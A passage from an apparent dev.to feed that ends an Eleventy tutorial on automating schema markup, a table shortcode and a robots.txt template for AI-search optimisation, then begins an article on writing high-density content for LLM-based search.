&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// .eleventy.js - render inline markdown in frontmatter strings&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;markdownIt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;markdown-it&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;md&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;markdownIt&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;html&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="nx"&gt;eleventyConfig&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addFilter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;markdownify&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;md&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;renderInline&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step 6. Shortcode for GEO Tables
&lt;/h2&gt;

&lt;p&gt;Instead of manually writing &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt; with all the &lt;code&gt;data-label&lt;/code&gt; attributes every time - one shortcode in &lt;code&gt;.eleventy.js&lt;/code&gt; and clean pipe-separated syntax in Markdown.&lt;/p&gt;

&lt;h3&gt;
  
  
  Registering the Shortcode in &lt;code&gt;.eleventy.js&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Paired shortcode: {% geotable "Header 1,Header 2,Header 3" %}&lt;/span&gt;
&lt;span class="c1"&gt;// Data rows: Value 1 | Value 2 | Value 3&lt;/span&gt;
&lt;span class="c1"&gt;// {% endgeotable %}&lt;/span&gt;

&lt;span class="nx"&gt;eleventyConfig&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addPairedShortcode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;geotable&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;headerList&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;

  &lt;span class="c1"&gt;// Parse rows - one line = one &amp;lt;tr&amp;gt;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;rows&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;content&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;row&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;row&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="c1"&gt;// Generate thead&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;html&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;table class="cmp-table"&amp;gt;\n  &amp;lt;thead&amp;gt;\n    &amp;lt;tr&amp;gt;\n`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;headerList&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;html&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s2"&gt;`      &amp;lt;th&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;/th&amp;gt;\n`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="nx"&gt;html&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s2"&gt;`    &amp;lt;/tr&amp;gt;\n  &amp;lt;/thead&amp;gt;\n  &amp;lt;tbody&amp;gt;\n`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="c1"&gt;// Generate tbody&lt;/span&gt;
  &lt;span class="nx"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;row&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;cells&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;row&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;|&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
    &lt;span class="nx"&gt;html&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s2"&gt;`    &amp;lt;tr&amp;gt;\n`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;cells&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;cell&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;label&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;headerList&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="nx"&gt;html&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s2"&gt;`      &amp;lt;td data-label="&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;label&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;cell&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;/td&amp;gt;\n`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="nx"&gt;html&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s2"&gt;`    &amp;lt;/tr&amp;gt;\n`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="nx"&gt;html&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s2"&gt;`  &amp;lt;/tbody&amp;gt;\n&amp;lt;/table&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Usage in a Markdown Post
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{% raw %}{% geotable "Platform,TTFB,Price/mo,Control" %}
Eleventy + NVMe VPS | &amp;lt;50 ms  | $5-10 | Full
WordPress (shared)  | 800+ ms | $9    | Limited
Wix                 | 400-600 ms | $17 | None
{% endgeotable %}{% endraw %}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The shortcode automatically adds &lt;code&gt;data-label&lt;/code&gt; to every cell - mobile CSS card transformation works without any extra changes.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 7. Auto-Generating robots.txt
&lt;/h2&gt;

&lt;p&gt;Instead of a static file - a Nunjucks template that substitutes the site URL from &lt;code&gt;metadata.json&lt;/code&gt; automatically.&lt;/p&gt;

&lt;p&gt;Create &lt;code&gt;robots.njk&lt;/code&gt; in the project root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;---
permalink: /robots.txt
eleventyExcludeFromCollections: true
---
# ── Search Engines ────────────────────────────────────────
User-agent: Googlebot
Allow: /

User-agent: Bingbot
Allow: /

# ── AI Crawlers 2026 ──────────────────────────────────────
User-agent: GPTBot
Allow: /

User-agent: ChatGPT-User
Allow: /

User-agent: PerplexityBot
Allow: /

User-agent: Google-Extended
Allow: /

User-agent: ClaudeBot
Allow: /

User-agent: anthropic-ai
Allow: /

User-agent: FacebookBot
Allow: /

Sitemap: {% raw %}{{ metadata.url }}{% endraw %}/sitemap.xml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Eleventy builds it to &lt;code&gt;_site/robots.txt&lt;/code&gt; automatically. When the site URL changes in &lt;code&gt;metadata.json&lt;/code&gt;, the Sitemap line updates everywhere at once.&lt;/p&gt;




&lt;h2&gt;
  
  
  Summary: What's Automated and Setup Time
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Element&lt;/th&gt;
&lt;th&gt;Before (manual)&lt;/th&gt;
&lt;th&gt;After Automation&lt;/th&gt;
&lt;th&gt;Setup Time&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Article Schema&lt;/td&gt;
&lt;td&gt;~20 lines in every post&lt;/td&gt;
&lt;td&gt;Automatic from frontmatter&lt;/td&gt;
&lt;td&gt;20 min&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FAQPage Schema&lt;/td&gt;
&lt;td&gt;JSON-LD by hand + duplicated HTML&lt;/td&gt;
&lt;td&gt;One frontmatter array → Schema + HTML&lt;/td&gt;
&lt;td&gt;25 min&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HowTo Schema&lt;/td&gt;
&lt;td&gt;Written separately for each guide&lt;/td&gt;
&lt;td&gt;YAML steps in frontmatter&lt;/td&gt;
&lt;td&gt;20 min&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BLUF block&lt;/td&gt;
&lt;td&gt;HTML div in every post&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;bluf&lt;/code&gt; array in frontmatter&lt;/td&gt;
&lt;td&gt;15 min&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HTML tables&lt;/td&gt;
&lt;td&gt;30+ lines of HTML per table&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;{% geotable %}&lt;/code&gt; shortcode&lt;/td&gt;
&lt;td&gt;20 min&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;robots.txt&lt;/td&gt;
&lt;td&gt;Static file&lt;/td&gt;
&lt;td&gt;Nunjucks template with &lt;code&gt;metadata.url&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;10 min&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Total setup time: ~1.5-2 hours.&lt;/strong&gt; After that - no manual markup work for new posts.&lt;/p&gt;




&lt;h2&gt;
  
  
  Implementation Checklist
&lt;/h2&gt;

&lt;p&gt;Before considering the setup complete, verify each item:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] &lt;code&gt;_data/metadata.json&lt;/code&gt; contains &lt;code&gt;url&lt;/code&gt;, &lt;code&gt;author&lt;/code&gt;, &lt;code&gt;logo&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;[ ] The &lt;code&gt;dateToISO&lt;/code&gt; filter is registered in &lt;code&gt;.eleventy.js&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;[ ] The &lt;code&gt;markdownify&lt;/code&gt; filter is registered in &lt;code&gt;.eleventy.js&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;_includes/schema-article.njk&lt;/code&gt; is included in the base layout inside &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;_includes/schema-faq.njk&lt;/code&gt; is included in the base layout&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;_includes/schema-howto.njk&lt;/code&gt; is included in the base layout&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;_includes/bluf.njk&lt;/code&gt; is included in the post template immediately after H1&lt;/li&gt;
&lt;li&gt;[ ] The &lt;code&gt;geotable&lt;/code&gt; shortcode is registered in &lt;code&gt;.eleventy.js&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;robots.njk&lt;/code&gt; with &lt;code&gt;permalink: /robots.txt&lt;/code&gt; is in the project root&lt;/li&gt;
&lt;li&gt;[ ] Verified with &lt;a href="https://search.google.com/test/rich-results" rel="noopener noreferrer"&gt;Google Rich Results Test&lt;/a&gt; after deploying the first post with the new templates&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Is this approach compatible with both Eleventy v2.x and v3.x?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Yes. All templates and shortcodes are written for Eleventy v2.x and v3.x - the &lt;code&gt;addFilter&lt;/code&gt;, &lt;code&gt;addPairedShortcode&lt;/code&gt;, and &lt;code&gt;addShortcode&lt;/code&gt; APIs have not changed between versions. The &lt;code&gt;markdownify&lt;/code&gt; filter requires &lt;code&gt;npm install markdown-it&lt;/code&gt; if the package isn't already in your dependencies.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does &lt;code&gt;| dump | safe&lt;/code&gt; correctly escape special characters in JSON-LD?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Yes. Nunjucks's &lt;code&gt;dump&lt;/code&gt; filter serializes a string into valid JSON, escaping quotes, backslashes, and special characters. The &lt;code&gt;| dump | safe&lt;/code&gt; combination is the standard pattern for inserting dynamic strings into JSON-LD via Nunjucks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How do I verify the Schema was generated correctly after deployment?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Three tools: &lt;a href="https://search.google.com/test/rich-results" rel="noopener noreferrer"&gt;Google Rich Results Test&lt;/a&gt; - validates Article, FAQPage, and HowTo. &lt;a href="https://validator.schema.org" rel="noopener noreferrer"&gt;Schema Markup Validator&lt;/a&gt; - extended validation. Bing Webmaster Tools → "URL inspection" - shows how Copilot sees the markup.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Can the same approach be used for BreadcrumbList Schema?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Yes. Add &lt;code&gt;_includes/schema-breadcrumb.njk&lt;/code&gt; with a &lt;code&gt;{% if series and order %}&lt;/code&gt; condition and populate values from frontmatter. This is particularly useful for series posts - AI search engines see the relationship between parts and boost the authority of the entire cluster.&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Next: Part 4
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Part 4 - Measuring the GEO Effect:&lt;/strong&gt; how to systematically track whether ChatGPT Search, Perplexity, and Gemini are citing your site, which metrics replace classical organic CTR, and how to build a monitoring dashboard without paid tools - using only curl, Python, and Google Sheets.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>webdev</category>
      <category>tutorial</category>
      <category>javascript</category>
    </item>
    <item>
      <title>LLM Content Engineering: How to Write for AI Search in 2026</title>
      <dc:creator>Aribu js</dc:creator>
      <pubDate>Tue, 09 Jun 2026 16:50:03 +0000</pubDate>
      <link>https://dev.to/digital-abetka/llm-content-engineering-how-to-write-for-ai-search-in-2026-3fom</link>
      <guid>https://dev.to/digital-abetka/llm-content-engineering-how-to-write-for-ai-search-in-2026-3fom</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;BLUF - Bottom Line Up Front (Part 2 of the GEO/SEO 2026 series)&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Problem:&lt;/strong&gt; Your robots.txt is open and AI bots are crawling your site - but ChatGPT and Perplexity ignore content written with old-school SEO filler.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Root cause:&lt;/strong&gt; RAG pipelines rank sources by &lt;strong&gt;information density&lt;/strong&gt; - the concentration of verified facts, numbers, and metrics per unit of text.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Solution:&lt;/strong&gt; Three content engineering techniques: boost fact density → pack data into HTML tables → apply BLUF structure to every H2 section.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;In this article:&lt;/strong&gt; before/after examples, ready-to-use HTML table code with mobile responsiveness, and a pre-publish checklist.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Part 1 of the series:&lt;/strong&gt; Technical GEO Architecture: robots.txt, JSON-LD, and Semantic HTML&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Why an open robots.txt is no longer enough
&lt;/h2&gt;

&lt;p&gt;In Part 1 of this series, we covered the technical foundation: opening AI crawlers, implementing JSON-LD schema, and switching to semantic HTML. But there's a problem that no amount of technical configuration can solve.&lt;/p&gt;

&lt;p&gt;Imagine two competitors. Both are open to &lt;code&gt;GPTBot&lt;/code&gt; and &lt;code&gt;PerplexityBot&lt;/code&gt;. Both have &lt;code&gt;Article&lt;/code&gt; and &lt;code&gt;FAQPage&lt;/code&gt; schema. Yet Perplexity only cites one of them. Why?&lt;/p&gt;

&lt;p&gt;The answer is in the content itself. RAG architecture loads the page HTML into a context window and runs &lt;strong&gt;scoring&lt;/strong&gt; - evaluating how useful each sentence is for answering a user query. Sentences with concrete facts, numbers, and verified metrics score high. Sentences with filler score low or zero.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Information Density vs. SEO Filler: The Math of Getting Cited
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Information density&lt;/strong&gt; is the number of verified facts, concrete figures, and metrics per 100 words of text. LLMs are optimized to minimize hallucinations - they favor sources where every sentence carries maximum informational payload.&lt;/p&gt;

&lt;h3&gt;
  
  
  Before/After: The Same Idea, Two Different Densities
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;❌ Old-school SEO writing (low density):
"In today's digital world, it is critically important to improve
website performance, as page load speed can significantly impact
visitor behavior and their overall experience on the resource..."

✅ LLM-ready writing (high density):
"A 100ms increase in TTFB reduces conversion by 7% (Deloitte Digital, 2024).
RAG parsers skip domains with TTFB &amp;gt; 500ms due to context timeout -
a static Eleventy site achieves TTFB &amp;lt; 50ms and stays out of the discard pile."
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both are ~30 words. The first contains 0 verified facts. The second contains 3 concrete metrics with a source. For LLM scoring, that difference is enormous.&lt;/p&gt;

&lt;h3&gt;
  
  
  The One-Fact-Per-200-Words Rule
&lt;/h3&gt;

&lt;p&gt;An empirical benchmark for LLM-oriented content engineering: every 200 words should contain at least one verified element:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Element Type&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;th&gt;LLM Weight&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Specific number with year&lt;/td&gt;
&lt;td&gt;"47% more often, 2025"&lt;/td&gt;
&lt;td&gt;✅ High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Research reference&lt;/td&gt;
&lt;td&gt;"(Surfer SEO, 2025)"&lt;/td&gt;
&lt;td&gt;✅ High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Technical metric&lt;/td&gt;
&lt;td&gt;"TTFB &amp;lt; 50ms"&lt;/td&gt;
&lt;td&gt;✅ High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Version or release date&lt;/td&gt;
&lt;td&gt;"Firebase SDK 10.12.0"&lt;/td&gt;
&lt;td&gt;🟡 Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unsourced general claim&lt;/td&gt;
&lt;td&gt;"sites got faster"&lt;/td&gt;
&lt;td&gt;❌ Low&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  2. Table Dominance: HTML vs. Markdown and Why It Matters
&lt;/h2&gt;

&lt;p&gt;According to Surfer SEO research (2025), pages with HTML tables are cited in Perplexity &lt;strong&gt;47% more often&lt;/strong&gt; than pages with equivalent text-only content. The reason is technical - an LLM reads a &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt; matrix as a token array with clear cell boundaries, making it far easier to extract specific values into a response.&lt;/p&gt;

&lt;h3&gt;
  
  
  Markdown Table vs. HTML: The Risk
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;❌ Markdown table - rendering depends on the SSG parser:
| Platform  | TTFB   | Price  |
|-----------|--------|--------|
| WordPress | 800ms  | $9/mo  |

If Eleventy (or another SSG) converts this to &lt;span class="nt"&gt;&amp;lt;table&amp;gt;&lt;/span&gt; - great.
If it stays as plain text - the LLM just sees a mess of pipes and dashes.

✅ HTML table - guaranteed parsing for any crawler:
&lt;span class="nt"&gt;&amp;lt;table&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;thead&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;th&amp;gt;&lt;/span&gt;Platform&lt;span class="nt"&gt;&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;&lt;/span&gt;TTFB&lt;span class="nt"&gt;&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;&lt;/span&gt;Price&lt;span class="nt"&gt;&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/thead&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;tbody&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&lt;/span&gt;WordPress (shared)&lt;span class="nt"&gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&lt;/span&gt;800+ ms&lt;span class="nt"&gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&lt;/span&gt;$9/mo&lt;span class="nt"&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&lt;/span&gt;Eleventy + NVMe VPS&lt;span class="nt"&gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;50ms&lt;span class="nt"&gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&lt;/span&gt;$5–10/mo&lt;span class="nt"&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/tbody&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/table&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Mobile Responsiveness Without Breaking Parsability
&lt;/h3&gt;

&lt;p&gt;The core dilemma: a full HTML table is ideal for LLMs, but on a 375px mobile screen it's a disaster. The solution is a CSS card transformation using &lt;code&gt;data-label&lt;/code&gt; attributes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
